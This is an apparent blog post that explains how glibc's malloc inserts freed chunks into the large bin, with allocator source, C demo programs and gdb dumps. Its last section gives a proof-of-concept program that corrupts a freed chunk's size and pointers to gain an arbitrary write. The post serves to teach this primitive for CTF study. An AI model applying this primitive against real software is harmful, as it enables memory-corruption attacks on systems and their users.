Extra Heap Exploitation 3: A Revisit to Large Bin in Glibc

Introduction

In my post on allocation internal on ptmalloc, I actually miss one part of code in _int_malloc . In recent 0CTF 2018, this part of code is used to launch the exploit. Therefore, I decide to introduce this part of code in this post. In my previous posts, I only introduce how large chunks are retrieved from largebin, but I miss the part on how the freed chunks are inserted into largebin. This post will give a detailed introduction on this part.

Background

The following code first removes the chunk from the unsorted bin and continue to process on the chunk for further operation. All the content in this post will be based on the code below.

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
    bck = victim->bk;
    if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
        || __builtin_expect (chunksize_nomask (victim)
				   > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
    size = chunksize (victim);

    /*
      If a small request, try to use last remainder if it is the
      only chunk in unsorted bin.  This helps promote locality for
      runs of consecutive small requests. This is the only
      exception to best-fit, and applies only when there is
      no exact fit for a small chunk.
    */

    if (in_smallbin_range (nb) &&
        bck == unsorted_chunks (av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
    {
        /* split and reattach remainder */
        remainder_size = size - nb;
        remainder = chunk_at_offset (victim, nb);
        unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
        av->last_remainder = remainder;
        remainder->bk = remainder->fd = unsorted_chunks (av);
        if (!in_smallbin_range (remainder_size))
        {
            remainder->fd_nextsize = NULL;
            remainder->bk_nextsize = NULL;
        }

        set_head (victim, nb | PREV_INUSE |
                  (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head (remainder, remainder_size | PREV_INUSE);
        set_foot (remainder, remainder_size);

        check_malloced_chunk (av, victim, nb);
        void *p = chunk2mem (victim);
        alloc_perturb (p, bytes);
        return p;
    }

    /* remove from unsorted list */
    unsorted_chunks (av)->bk = bck;
    bck->fd = unsorted_chunks (av);

    /* Take now instead of binning if exact fit */

    if (size == nb)
    {
         set_inuse_bit_at_offset (victim, size);
         if (av != &main_arena)
             set_non_main_arena (victim);
         check_malloced_chunk (av, victim, nb);
         void *p = chunk2mem (victim);
         alloc_perturb (p, bytes);
         return p;
    }

    /* place chunk in bin */
    if (in_smallbin_range (size))
    {
        victim_index = smallbin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;
    }
    else
    {
        victim_index = largebin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;

        /* maintain large bins in sorted order */
        if (fwd != bck)
        {
             /* Or with inuse bit to speed comparisons */
             size |= PREV_INUSE;
             /* if smaller than smallest, bypass loop below */
             assert (chunk_main_arena (bck->bk));
             if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
             {
                 fwd = bck;
                 bck = bck->bk;
                 victim->fd_nextsize = fwd->fd;
                 victim->bk_nextsize = fwd->fd->bk_nextsize;
                 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
              }
              else
              {
                  assert (chunk_main_arena (fwd));
                  while ((unsigned long) size < chunksize_nomask (fwd))
                  {
                      fwd = fwd->fd_nextsize;
                      assert (chunk_main_arena (fwd));
                  }

                  if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                  else
                  {
                      victim->fd_nextsize = fwd;
                      victim->bk_nextsize = fwd->bk_nextsize;
                      fwd->bk_nextsize = victim;
                      victim->bk_nextsize->fd_nextsize = victim;
                  }
                  bck = fwd->bk;
              }
          }
          else
              victim->fd_nextsize = victim->bk_nextsize = victim;
    }



    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

#define MAX_ITERS       10000
    if (++iters >= MAX_ITERS)
        break;
}

The code snippet is wrapped within a while loop. In each iteration of the loop, the last chunk of current unsorted bin will be retrieved. The loop will end if there is no more available chunks in the unsorted bin.
The retrieved chunk will be processed in the following steps.
(1) If 1.the chunk is the last chunk in unsorted bin, and 2.the requested bytes is less than MIN_LARGE_SIZE and 3. the size of the retrieved chunk fits the requested chunk and 4. the retrieved chunk is the last remainder, the retrieved chunk will be split into the chunk of requested size and remainder chunk. The chunk of requested size will be returned to application, and the remainder chunk will be inserted into unsorted bin again.

(2) Otherwise, we remove the retrieved chunk from unsorted bin and move into following procedures:
(2-1) If the size of removed chunk is equal to the requested size, return the chunk directly.
(2-2) If the size of removed chunk is in the range of small chunk, get the corresponding small bin and insert the chunk into small bin.
(2-3) If the size of removed chunk is in the range of large chunk, get the corresponding large bin and move into following procedures:

(2-3-1) If there is no available chunk in current large bin, we insert the removed chunk into the current large bin and set fd_nextsize and bk_nextsize to the removed chunk itself.
(2-3-2) Otherwise, if there exists chunk in current large bin, we continue to move into following procedures:

(2-3-2-1) If the size of the last chunk in the large bin is larger than the removed chunk, we insert the removed chunk into the large bin as the last chunk.
(2-3-2-2) Otherwise, we start to traverse from the first chunk in large bin. This traverse is based on the fd_nextsize of the chunk and stops until we reach a chunk fwd, whose size is smaller or equal to the removed chunk.

(2-3-2-2-1) If the size of fwd is equal to the removed chunk, we insert the removed chunk into the unsorted bin right after fwd.
(2-3-2-2-2) If the size of fwd is smaller than the removed chunk, we assign fwd to fd_nextsize of the removed chunk and assign the previous chunk during the traversal to bk_nextsize of removed chunk. Then we insert the removed chunk into the unsorted bin right before fwd.

Except for (1) and (2-1), all other operations will not return chunk to application. The requested chunk will be returned by following codes in __int_malloc, which is out of the scope of this post. Simply speaking, the allocator will traverses through the small bin and large bin, find the smallest chunk that fits requested size, split the chunk and insert the remainder chunk into unsorted bin. If no suitable chunk is found, the allocator splits the top chunk.

In the next, I will give concrete examples to demonstrate the steps after (2-3) to see how large bins are organized.

Large Bin Management

Before giving details of the large bin management, I need to give a direct understanding of the code above. Let me use the code to demonstrate.

//gcc large.c -o large -no-pie
#include<stdlib.h>

int main()
{
	unsigned long *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10;
	unsigned long *p;
	p1 = malloc(0x3f0);
	p2 = malloc(0x20);
	p3 = malloc(0x400);
	p4 = malloc(0x20);
	p5 = malloc(0x400);
	p6 = malloc(0x20);
	p7 = malloc(0x120);
	p8 = malloc(0x20);
	p9 = malloc(0x140);
	p10 = malloc(0x20);
	free(p7);
	free(p9);

	p = malloc(0x60);
	p = malloc(0xb0);

	free(p1);
	free(p3);
	free(p5);

	p = malloc(0x110);

	return 0;
}

After the free at line 19, we insert two chunks into unsorted bin as below:

//main_arena status
0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000602f90
0x7ffff7dd3b60 <main_arena+96>:	0x0000000000000000	0x0000000000602e10
0x7ffff7dd3b70 <main_arena+112>:	0x0000000000602cb0	0x00007ffff7dd3b68
0x7ffff7dd3b80 <main_arena+128>:	0x00007ffff7dd3b68	0x00007ffff7dd3b78

//p7
(gdb) x/8gx 0x0000000000602cb0
0x602cb0:	0x0000000000000000	0x0000000000000131
0x602cc0:	0x00007ffff7dd3b58	0x0000000000602e10
0x602cd0:	0x0000000000000000	0x0000000000000000
0x602ce0:	0x0000000000000000	0x0000000000000000

//p9
(gdb) x/8gx 0x0000000000602e10
0x602e10:	0x0000000000000000	0x0000000000000151
0x602e20:	0x0000000000602cb0	0x00007ffff7dd3b58
0x602e30:	0x0000000000000000	0x0000000000000000
0x602e40:	0x0000000000000000	0x0000000000000000

After malloc at line 21, chunk at 0x602cb0 and chunk at 0x602e10 will be inserted into corresponding small bin respectively. According to the best fit policy, the chunk of size 0x130 will be taken from the small bin and the remainder chunk is inserted into unsorted bin again.

0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000602f90
0x7ffff7dd3b60 <main_arena+96>:	0x0000000000602d20	0x0000000000602d20
0x7ffff7dd3b70 <main_arena+112>:	0x0000000000602d20	0x00007ffff7dd3b68
0x7ffff7dd3b80 <main_arena+128>:	0x00007ffff7dd3b68	0x00007ffff7dd3b78
0x7ffff7dd3b90 <main_arena+144>:	0x00007ffff7dd3b78	0x00007ffff7dd3b88
0x7ffff7dd3ba0 <main_arena+160>:	0x00007ffff7dd3b88	0x00007ffff7dd3b98
0x7ffff7dd3bb0 <main_arena+176>:	0x00007ffff7dd3b98	0x00007ffff7dd3ba8
0x7ffff7dd3bc0 <main_arena+192>:	0x00007ffff7dd3ba8	0x00007ffff7dd3bb8
0x7ffff7dd3bd0 <main_arena+208>:	0x00007ffff7dd3bb8	0x00007ffff7dd3bc8
0x7ffff7dd3be0 <main_arena+224>:	0x00007ffff7dd3bc8	0x00007ffff7dd3bd8
0x7ffff7dd3bf0 <main_arena+240>:	0x00007ffff7dd3bd8	0x00007ffff7dd3be8
0x7ffff7dd3c00 <main_arena+256>:	0x00007ffff7dd3be8	0x00007ffff7dd3bf8
0x7ffff7dd3c10 <main_arena+272>:	0x00007ffff7dd3bf8	0x00007ffff7dd3c08
0x7ffff7dd3c20 <main_arena+288>:	0x00007ffff7dd3c08	0x00007ffff7dd3c18
0x7ffff7dd3c30 <main_arena+304>:	0x00007ffff7dd3c18	0x00007ffff7dd3c28
0x7ffff7dd3c40 <main_arena+320>:	0x00007ffff7dd3c28	0x00007ffff7dd3c38
0x7ffff7dd3c50 <main_arena+336>:	0x00007ffff7dd3c38	0x00007ffff7dd3c48
0x7ffff7dd3c60 <main_arena+352>:	0x00007ffff7dd3c48	0x00007ffff7dd3c58
0x7ffff7dd3c70 <main_arena+368>:	0x00007ffff7dd3c58	0x00007ffff7dd3c68
0x7ffff7dd3c80 <main_arena+384>:	0x00007ffff7dd3c68	0x00007ffff7dd3c78
0x7ffff7dd3c90 <main_arena+400>:	0x00007ffff7dd3c78	0x00007ffff7dd3c88
0x7ffff7dd3ca0 <main_arena+416>:	0x00007ffff7dd3c88	0x0000000000602e10
0x7ffff7dd3cb0 <main_arena+432>:	0x0000000000602e10	0x00007ffff7dd3ca8

//remainder chunk
(gdb) x/8gx 0x0000000000602d20
0x602d20:	0x0000000000000000	0x00000000000000c1
0x602d30:	0x00007ffff7dd3b58	0x00007ffff7dd3b58
0x602d40:	0x0000000000000000	0x0000000000000000
0x602d50:	0x0000000000000000	0x0000000000000000

After malloc at line 22, chunk at 0x602d20 is directly removed from unsorted bin and returned in step (1). At this point, there is only one available chunk (0x602e10) left in small bin.
After free at line 26, three large chunks are inserted into unsorted bin as below:

//main_arena
0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000602f90
0x7ffff7dd3b60 <main_arena+96>:	0x0000000000602d20	0x0000000000602870
0x7ffff7dd3b70 <main_arena+112>:	0x0000000000602000	0x00007ffff7dd3b68
0x7ffff7dd3b80 <main_arena+128>:	0x00007ffff7dd3b68	0x00007ffff7dd3b78

//p1
(gdb) x/8gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000401
0x602010:	0x00007ffff7dd3b58	0x0000000000602430
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
//p3
(gdb) x/8gx 0x0000000000602430
0x602430:	0x0000000000000000	0x0000000000000411
0x602440:	0x0000000000602000	0x0000000000602870
0x602450:	0x0000000000000000	0x0000000000000000
0x602460:	0x0000000000000000	0x0000000000000000
//p5
(gdb) x/8gx 0x0000000000602870
0x602870:	0x0000000000000000	0x0000000000000411
0x602880:	0x0000000000602430	0x00007ffff7dd3b58
0x602890:	0x0000000000000000	0x0000000000000000
0x6028a0:	0x0000000000000000	0x0000000000000000

Let’s observe what happens after malloc at line 28. The large chunk at 0x602000, 0x602430 and 0x602870 will be inserted into one large bin first. The allocator will than iterate over the small bins and find the available chunk at 0x602e10. The chunk at 0x602e10 will be removed from the small bin, and split into a chunk of requested size and remainder chunk. The final result is given below:

//main_arena around unsorted bin
0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000602f90
0x7ffff7dd3b60 <main_arena+96>:	0x0000000000602f30	0x0000000000602f30
0x7ffff7dd3b70 <main_arena+112>:	0x0000000000602f30	0x00007ffff7dd3b68
0x7ffff7dd3b80 <main_arena+128>:	0x00007ffff7dd3b68	0x00007ffff7dd3b78

//main_arena around large bin
0x7ffff7dd3f00 <main_arena+1024>:	0x00007ffff7dd3ee8	0x00007ffff7dd3ef8
0x7ffff7dd3f10 <main_arena+1040>:	0x00007ffff7dd3ef8	0x00007ffff7dd3f08
0x7ffff7dd3f20 <main_arena+1056>:	0x00007ffff7dd3f08	0x00007ffff7dd3f18
0x7ffff7dd3f30 <main_arena+1072>:	0x00007ffff7dd3f18	0x00007ffff7dd3f28
0x7ffff7dd3f40 <main_arena+1088>:	0x00007ffff7dd3f28	0x00007ffff7dd3f38
0x7ffff7dd3f50 <main_arena+1104>:	0x00007ffff7dd3f38	0x0000000000602430
0x7ffff7dd3f60 <main_arena+1120>:	0x0000000000602000	0x00007ffff7dd3f58
0x7ffff7dd3f70 <main_arena+1136>:	0x00007ffff7dd3f58	0x00007ffff7dd3f68
0x7ffff7dd3f80 <main_arena+1152>:	0x00007ffff7dd3f68	0x00007ffff7dd3f78

//p1
(gdb) x/8gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000401
0x602010:	0x00007ffff7dd3f48	0x0000000000602870
0x602020:	0x0000000000602430	0x0000000000602430
0x602030:	0x0000000000000000	0x0000000000000000

//p3
(gdb) x/8gx 0x602430
0x602430:	0x0000000000000000	0x0000000000000411
0x602440:	0x0000000000602870	0x00007ffff7dd3f48
0x602450:	0x0000000000602000	0x0000000000602000
0x602460:	0x0000000000000000	0x0000000000000000

//p5
(gdb) x/8gx 0x602870
0x602870:	0x0000000000000000	0x0000000000000411
0x602880:	0x0000000000602000	0x0000000000602430
0x602890:	0x0000000000000000	0x0000000000000000
0x6028a0:	0x0000000000000000	0x0000000000000000

We can find that the chunks in large bin are organized in the descending order on size. The first chunk is the largest one and the last chunk is the smallest one.
But the problem is that there is no security check in whether the chunks are organized in descending order. Then let’s use the following code to demonstrate step (2-3-2-1), (2-3-2-2-1), (2-3-2-2-2).

Please note that when using one code snippet, please comment other two code snippets in the given example.

//gcc largeShow.c -o largeShow -no-pie
#include<stdlib.h>

int main()
{
	unsigned long *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10, *p11, *p12;
	unsigned long *p;
	p1 = malloc(0x3f0);
	p2 = malloc(0x20);
	p3 = malloc(0x400);
	p4 = malloc(0x20);
	p5 = malloc(0x400);
	p6 = malloc(0x20);
	p7 = malloc(0x120);
	p8 = malloc(0x20);
	p9 = malloc(0x140);
	p10 = malloc(0x20);
	p11 = malloc(0x400);
	p12 = malloc(0x20);
	free(p7);
	free(p9);

	p = malloc(0x60);
	p = malloc(0xb0);

	free(p1);
	free(p3);
	free(p5);

	p = malloc(0x60);

	free(p11);

	//step 2-3-2-1
	//*(p1-1) = 0x421;
	//p = malloc(0x60);
	
	//step 2-3-2-2-1
	//p = malloc(0x60);
	
	//step 2-3-2-2-2
	//*(p3-1) = 0x3f1;
	//p = malloc(0x60);

	return 0;
}

Step 2-3-2-1

In the sample code for step 2-3-2-1, I corrupt the size of last chunk in large bin to 0x421, which is larger than the chunk to be inserted. According to the step 2-3-2-1, the chunk will be inserted into large bin as last chunk

(gdb) x/20gx &__malloc_hook+0x80
0x7ffff7dd3ef0 <main_arena+1008>:	0x00007ffff7dd3ed8	0x00007ffff7dd3ee8
0x7ffff7dd3f00 <main_arena+1024>:	0x00007ffff7dd3ee8	0x00007ffff7dd3ef8
0x7ffff7dd3f10 <main_arena+1040>:	0x00007ffff7dd3ef8	0x00007ffff7dd3f08
0x7ffff7dd3f20 <main_arena+1056>:	0x00007ffff7dd3f08	0x00007ffff7dd3f18
0x7ffff7dd3f30 <main_arena+1072>:	0x00007ffff7dd3f18	0x00007ffff7dd3f28
0x7ffff7dd3f40 <main_arena+1088>:	0x00007ffff7dd3f28	0x00007ffff7dd3f38
0x7ffff7dd3f50 <main_arena+1104>:	0x00007ffff7dd3f38	0x0000000000602430
0x7ffff7dd3f60 <main_arena+1120>:	0x0000000000602f90	0x00007ffff7dd3f58
0x7ffff7dd3f70 <main_arena+1136>:	0x00007ffff7dd3f58	0x00007ffff7dd3f68
0x7ffff7dd3f80 <main_arena+1152>:	0x00007ffff7dd3f68	0x00007ffff7dd3f78
(gdb) x/8gx 0x0000000000602430
0x602430:	0x0000000000000000	0x0000000000000411
0x602440:	0x0000000000602870	0x00007ffff7dd3f48
0x602450:	0x0000000000602000	0x0000000000602f90
0x602460:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x0000000000602870
0x602870:	0x0000000000000000	0x0000000000000411
0x602880:	0x0000000000602000	0x0000000000602430
0x602890:	0x0000000000000000	0x0000000000000000
0x6028a0:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000421
0x602010:	0x0000000000602f90	0x0000000000602870
0x602020:	0x0000000000602f90	0x0000000000602430
0x602030:	0x0000000000000000	0x0000000000000000
//The removed chunk from unsorted bin is inserted into large bin as the last chunk
(gdb) x/8gx 0x0000000000602f90
0x602f90:	0x0000000000000000	0x0000000000000411
0x602fa0:	0x00007ffff7dd3f48	0x0000000000602000
0x602fb0:	0x0000000000602430	0x0000000000602000
0x602fc0:	0x0000000000000000	0x0000000000000000

Step 2-3-2-2-1

In the sample code for step 2-3-2-2-1, I make no corruption here. The size of removed chunk is 0x411, which is large than the size of last chunk and equal to the size of first chunk. So the removed chunk is inserted into large bin right after the first chunk.

0x7ffff7dd3ef0 <main_arena+1008>:	0x00007ffff7dd3ed8	0x00007ffff7dd3ee8
0x7ffff7dd3f00 <main_arena+1024>:	0x00007ffff7dd3ee8	0x00007ffff7dd3ef8
0x7ffff7dd3f10 <main_arena+1040>:	0x00007ffff7dd3ef8	0x00007ffff7dd3f08
0x7ffff7dd3f20 <main_arena+1056>:	0x00007ffff7dd3f08	0x00007ffff7dd3f18
0x7ffff7dd3f30 <main_arena+1072>:	0x00007ffff7dd3f18	0x00007ffff7dd3f28
0x7ffff7dd3f40 <main_arena+1088>:	0x00007ffff7dd3f28	0x00007ffff7dd3f38
0x7ffff7dd3f50 <main_arena+1104>:	0x00007ffff7dd3f38	0x0000000000602430
0x7ffff7dd3f60 <main_arena+1120>:	0x0000000000602000	0x00007ffff7dd3f58
0x7ffff7dd3f70 <main_arena+1136>:	0x00007ffff7dd3f58	0x00007ffff7dd3f68
0x7ffff7dd3f80 <main_arena+1152>:	0x00007ffff7dd3f68	0x00007ffff7dd3f78
(gdb) x/8gx 0x602430
0x602430:	0x0000000000000000	0x0000000000000411
0x602440:	0x0000000000602f90	0x00007ffff7dd3f48
0x602450:	0x0000000000602000	0x0000000000602000
0x602460:	0x0000000000000000	0x0000000000000000
//The removed chunk is inserted right after the first chunk in large bin.
(gdb) x/8gx 0x602f90
0x602f90:	0x0000000000000000	0x0000000000000411
0x602fa0:	0x0000000000602870	0x0000000000602430
0x602fb0:	0x0000000000000000	0x0000000000000000
0x602fc0:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x602870
0x602870:	0x0000000000000000	0x0000000000000411
0x602880:	0x0000000000602000	0x0000000000602f90
0x602890:	0x0000000000000000	0x0000000000000000
0x6028a0:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000401
0x602010:	0x00007ffff7dd3f48	0x0000000000602870
0x602020:	0x0000000000602430	0x0000000000602430
0x602030:	0x0000000000000000	0x0000000000000000

Step 2-3-2-2-2

In the sample code for step 2-3-2-2-2, I corrupt the size of first chunk in large bin to 0x401, which is smaller than the chunk to be inserted. According to the step 2-3-2-2-2, the chunk will be inserted into large bin as first chunk in large bin. fd_nextsize and bk_nextsize of chunks are reassigned accordingly.

(gdb) x/20gx &__malloc_hook+0x80
0x7ffff7dd3ef0 <main_arena+1008>:	0x00007ffff7dd3ed8	0x00007ffff7dd3ee8
0x7ffff7dd3f00 <main_arena+1024>:	0x00007ffff7dd3ee8	0x00007ffff7dd3ef8
0x7ffff7dd3f10 <main_arena+1040>:	0x00007ffff7dd3ef8	0x00007ffff7dd3f08
0x7ffff7dd3f20 <main_arena+1056>:	0x00007ffff7dd3f08	0x00007ffff7dd3f18
0x7ffff7dd3f30 <main_arena+1072>:	0x00007ffff7dd3f18	0x00007ffff7dd3f28
0x7ffff7dd3f40 <main_arena+1088>:	0x00007ffff7dd3f28	0x00007ffff7dd3f38
0x7ffff7dd3f50 <main_arena+1104>:	0x00007ffff7dd3f38	0x0000000000602f90
0x7ffff7dd3f60 <main_arena+1120>:	0x0000000000602000	0x00007ffff7dd3f58
0x7ffff7dd3f70 <main_arena+1136>:	0x00007ffff7dd3f58	0x00007ffff7dd3f68
0x7ffff7dd3f80 <main_arena+1152>:	0x00007ffff7dd3f68	0x00007ffff7dd3f78
//The removed chunk is inserted into the large bin as first bin.
(gdb) x/8gx 0x0000000000602f90
0x602f90:	0x0000000000000000	0x0000000000000411
0x602fa0:	0x0000000000602430	0x00007ffff7dd3f48
0x602fb0:	0x0000000000602430	0x0000000000602000
0x602fc0:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x0000000000602430
0x602430:	0x0000000000000000	0x00000000000003f1
0x602440:	0x0000000000602870	0x0000000000602f90
0x602450:	0x0000000000602000	0x0000000000602f90
0x602460:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x0000000000602870
0x602870:	0x0000000000000000	0x0000000000000411
0x602880:	0x0000000000602000	0x0000000000602430
0x602890:	0x0000000000000000	0x0000000000000000
0x6028a0:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000401
0x602010:	0x00007ffff7dd3f48	0x0000000000602870
0x602020:	0x0000000000602f90	0x0000000000602430
0x602030:	0x0000000000000000	0x0000000000000000

Large Bin Exploitation

After having understood the procedures above, let’s continue to discuss the exploitation techniques used in large bin management.
In exploit, we actually exploits the following code in step 2-3-2-2-2.

else
{
     victim->fd_nextsize = fwd;
     victim->bk_nextsize = fwd->bk_nextsize;
     fwd->bk_nextsize = victim;
     victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

Similar to unsorted bin attack, if we can craft a fake address fake_chunk at fwd->bk, we can corrupt the value of fake_chunk->fd. To make things complicated, fd_nextsize and bk_nextsize are involved in this operation.
Let me use the following code for explanation.

#include<stdio.h>
#include<stdlib.h>

int main()
{
	unsigned long *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10, *p11, *p12;
	unsigned long *p;
	unsigned long stack[8] = {0};
	printf("stack address: %p\n", &stack);
	p1 = malloc(0x3f0);
	p2 = malloc(0x20);
	p3 = malloc(0x400);
	p4 = malloc(0x20);
	p5 = malloc(0x400);
	p6 = malloc(0x20);
	p7 = malloc(0x120);
	p8 = malloc(0x20);
	p9 = malloc(0x140);
	p10 = malloc(0x20);
	p11 = malloc(0x400);
	p12 = malloc(0x20);
	free(p7);
	free(p9);

	p = malloc(0x60);
	p = malloc(0xb0);

	free(p1);
	free(p3);
	free(p5);

	p = malloc(0x60);

	free(p11);

	*(p3-1) = 0x3f1;
	*(p3) = (unsigned long)(&stack);
	*(p3+1) = (unsigned long)(&stack);
	*(p3+2) = (unsigned long)(&stack);
	*(p3+3) = (unsigned long)(&stack);
	// trigger malicious malloc
	p = malloc(0x60);

	return 0;
}

Assuming there exists a memory corruption vulnerability, we can corrupt the size of the first chunk in large bin to 0x3f1 and resets the fd, bk, fd_nextsize and bk_nextsize to a stack address.

//memory layout before malicious alloc
stack address: 0x7fffffffe0c0

0x7ffff7dd3ef0 <main_arena+1008>:	0x00007ffff7dd3ed8	0x00007ffff7dd3ee8
0x7ffff7dd3f00 <main_arena+1024>:	0x00007ffff7dd3ee8	0x00007ffff7dd3ef8
0x7ffff7dd3f10 <main_arena+1040>:	0x00007ffff7dd3ef8	0x00007ffff7dd3f08
0x7ffff7dd3f20 <main_arena+1056>:	0x00007ffff7dd3f08	0x00007ffff7dd3f18
0x7ffff7dd3f30 <main_arena+1072>:	0x00007ffff7dd3f18	0x00007ffff7dd3f28
0x7ffff7dd3f40 <main_arena+1088>:	0x00007ffff7dd3f28	0x00007ffff7dd3f38
0x7ffff7dd3f50 <main_arena+1104>:	0x00007ffff7dd3f38	0x0000000000602840
0x7ffff7dd3f60 <main_arena+1120>:	0x0000000000602410	0x00007ffff7dd3f58
0x7ffff7dd3f70 <main_arena+1136>:	0x00007ffff7dd3f58	0x00007ffff7dd3f68
0x7ffff7dd3f80 <main_arena+1152>:	0x00007ffff7dd3f68	0x00007ffff7dd3f78

(gdb) x/8gx 0x0000000000602840
0x602840:	0x0000000000000000	0x00000000000003f1
0x602850:	0x00007fffffffe0c0	0x00007fffffffe0c0
0x602860:	0x00007fffffffe0c0	0x00007fffffffe0c0
0x602870:	0x0000000000000000	0x0000000000000000

(gdb) x/8gx 0x00007fffffffe0c0
0x7fffffffe0c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe0d0:	0x0000000000000000	0x0000000000000000
0x7fffffffe0e0:	0x0000000000000000	0x0000000000000000
0x7fffffffe0f0:	0x0000000000000000	0x0000000000000000

///////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////

//memory layout after malicious malloc
0x7ffff7dd3ef0 <main_arena+1008>:	0x00007ffff7dd3ed8	0x00007ffff7dd3ee8
0x7ffff7dd3f00 <main_arena+1024>:	0x00007ffff7dd3ee8	0x00007ffff7dd3ef8
0x7ffff7dd3f10 <main_arena+1040>:	0x00007ffff7dd3ef8	0x00007ffff7dd3f08
0x7ffff7dd3f20 <main_arena+1056>:	0x00007ffff7dd3f08	0x00007ffff7dd3f18
0x7ffff7dd3f30 <main_arena+1072>:	0x00007ffff7dd3f18	0x00007ffff7dd3f28
0x7ffff7dd3f40 <main_arena+1088>:	0x00007ffff7dd3f28	0x00007ffff7dd3f38
0x7ffff7dd3f50 <main_arena+1104>:	0x00007ffff7dd3f38	0x0000000000602840
0x7ffff7dd3f60 <main_arena+1120>:	0x0000000000602410	0x00007ffff7dd3f58
0x7ffff7dd3f70 <main_arena+1136>:	0x00007ffff7dd3f58	0x00007ffff7dd3f68
0x7ffff7dd3f80 <main_arena+1152>:	0x00007ffff7dd3f68	0x00007ffff7dd3f78
(gdb) x/8gx 0x0000000000602840
0x602840:	0x0000000000000000	0x00000000000003f1
0x602850:	0x00007fffffffe0c0	0x00000000006033a0
0x602860:	0x00007fffffffe0c0	0x00000000006033a0
0x602870:	0x0000000000000000	0x0000000000000000
(gdb) x/8gx 0x00007fffffffe0c0
0x7fffffffe0c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe0d0:	0x00000000006033a0	0x0000000000000000
0x7fffffffe0e0:	0x00000000006033a0	0x0000000000000000
0x7fffffffe0f0:	0x0000000000000000	0x0000000000000000

Conclusion

In this post, I give a very detailed explanation on large bin management in glibc. Since this is part I miss in my previous post, I think it is necessary to make it crystal clear in this post.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s